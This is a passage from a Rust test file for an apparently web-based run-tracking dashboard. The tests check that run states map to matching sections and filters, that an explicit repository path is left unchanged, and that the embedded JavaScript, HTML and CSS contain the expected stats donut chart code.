14985 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
14989 if waiting {
14990 return "waiting";
14991 }
14992 if dead
14993 && !matches!(
14994 status,
14995 "merged"
14996 | "ready"
14997 | "stalled"
14998 | "blocked"
14999 | "failed"
15000 | "verified_noop"
15001 | "superseded"
15002 | "already_in_base"
15003 )
15004 {
15005 return "stale";
15006 }
15007 match status {
15008 "merged" | "ready" => "landed",
15009 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15010 | "already_in_base" => "ended",
15011 _ => "flight",
15012 }
15013 }
15014
15015 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15018 match filter_key {
15019 "active" => !done,
15020 "flight" => !done && !waiting && !dead,
15021 "stale" => !done && !waiting && dead,
15022 "waiting" => waiting,
15023 "done" => done,
15024 "all" => true,
15025 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15026 }
15027 }
15028
15029 let compatible = |section: &str, filter_key: &str| {
15030 shapes.iter().any(|(waiting, status, dead, done)| {
15031 run_section(*waiting, status, *dead) == section
15032 && filter_matches(filter_key, *waiting, *dead, *done)
15033 })
15034 };
15035
15036 let expected = [
15041 ("waiting", [true, false, false, true, true, true]),
15042 ("stale", [true, false, true, false, false, true]),
15043 ("flight", [true, true, false, false, false, true]),
15044 ("landed", [false, false, false, false, true, true]),
15045 ("ended", [false, false, false, false, true, true]),
15046 ];
15047 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15048
15049 for (section, wants) in expected {
15050 for (filter_key, want) in filter_keys.iter().zip(wants) {
15051 assert_eq!(
15052 compatible(section, filter_key),
15053 want,
15054 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15055 );
15056 }
15057 }
15058
15059 assert!(
15062 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15063 );
15064 assert!(APP_JS.contains(
15065 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15066 ));
15067 assert!(APP_JS.contains(
15068 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15069 ));
15070 }
15071
15072 #[tokio::test]
15073 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15074 let dir = tempfile::tempdir().expect("tempdir");
15078 let explicit = dir.path().join("not-a-checkout");
15079 std::fs::create_dir_all(&explicit).expect("create dir");
15080 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15081
15082 let missing = dir.path().join("does-not-exist-at-all");
15083 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15084 }
15085
15086 #[test]
15087 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15088 assert!(APP_JS.contains("function statsDonutArcs"));
15089 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15090 assert!(APP_JS.contains("function statusInBucket"));
15092 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15093 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15094 let buckets = [
15095 "merged",
15096 "ready",
15097 "in_progress",
15098 "blocked",
15099 "failed",
15100 "verified_noop",
15101 "superseded",
15102 "stalled",
15103 ];
15104 for key in buckets {
15105 let var = format!("--verdict-{key}:");
15106 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15108 assert!(
15109 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15110 "{key}"
15111 );
15112 }
15113 }
15114}